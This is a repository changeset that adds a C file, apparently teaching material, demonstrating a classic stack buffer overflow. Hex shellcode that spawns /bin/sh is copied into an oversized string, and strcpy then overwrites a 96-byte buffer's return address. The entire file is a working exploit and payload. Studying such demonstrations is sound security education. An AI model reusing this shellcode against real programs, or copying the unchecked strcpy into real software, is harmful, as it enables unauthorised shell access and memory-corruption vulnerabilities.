progs/overflow.c
changeset 200 17852f5397fd
child 222 81f9f0eb1180
equal deleted inserted replaced
199:20af800ce736 200:17852f5397fd
       
     1 char shellcode[] =
       
     2         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       
     3         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       
     4         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
       
     5 
       
     6 char large_string[128];
       
     7 
       
     8 void main() {
       
     9   char buffer[96];
       
    10   int i;
       
    11   long *long_ptr = (long *) large_string;
       
    12 
       
    13   for (i = 0; i < 32; i++)
       
    14     *(long_ptr + i) = (int) buffer;
       
    15 
       
    16   for (i = 0; i < strlen(shellcode); i++)
       
    17     large_string[i] = shellcode[i];
       
    18 
       
    19   strcpy(buffer,large_string);
       
    20 }